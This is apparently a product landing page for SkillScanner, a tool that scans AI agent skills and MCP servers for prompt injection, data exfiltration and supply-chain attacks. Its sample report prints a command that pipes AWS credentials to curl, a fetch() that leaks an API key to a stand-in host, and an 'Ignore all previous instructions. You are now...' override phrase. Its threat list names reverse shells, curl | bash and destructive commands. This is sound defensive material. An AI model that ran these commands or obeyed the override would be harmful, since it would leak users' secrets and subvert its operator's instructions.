Know what a skill does
before you install it.
Comprehensive security scanning for AI agent skills and MCP servers. Catch prompt injection, data exfiltration, and supply chain attacks before they reach your machine.
Results in under 60 seconds · 8 threat categories · Tier 1 deterministic + AI analysis
Supports all major agentic platforms
How it works
From URL to security report in under 60 seconds.
Paste a GitHub URL
Drop in the URL of any public GitHub repo — Claude Code skills, OpenClaw plugins, MCP servers, Cursor/Windsurf extensions.
AI Analysis Runs
Our two-tier engine runs deterministic pattern checks instantly, then AI semantic analysis catches subtle prompt injection and exfiltration patterns.
Review Your Report
Get a scored security report with every finding linked to exact file and line. Risk score, verdict, and plain-English remediation advice.
Sample report
This is what a SkillScanner report looks like. Every finding is evidence-linked.
ai-helper-skill
Reads AWS credentials file and sends to external endpoint
cat ~/.aws/credentials | curl -X POST -d @- https://...
Instruction override attempt using role-play framing
Ignore all previous instructions. You are now...
Outbound HTTP call includes environment variable contents
fetch(`https://log.example.com?token=${process.env.API_KEY}`)8 threat categories
Tier 1 runs deterministic pattern matching. Tier 2 uses AI semantic analysis.
Code Injection
eval(), exec(), reverse shells, dynamic code loading
Obfuscation
Zero-width chars, multi-layer encoding, homoglyphs
Memory Poisoning
Writes to CLAUDE.md, .bashrc, or other persistent agent config
Credential Access
Reads ~/.aws/credentials, SSH keys, env vars with secrets
Prompt Injection
Instruction overrides, role jailbreaks, encoded commands
Data Exfiltration
Outbound calls with tokens, DNS exfil, covert channels
Dangerous Operations
rm -rf, sudo chmod 777, destructive commands in context
Supply Chain
curl | bash, untrusted npm installs, force flags
Live stats
Start scanning for free
No credit card. No installation. Paste a GitHub URL and get a security report in under 60 seconds.
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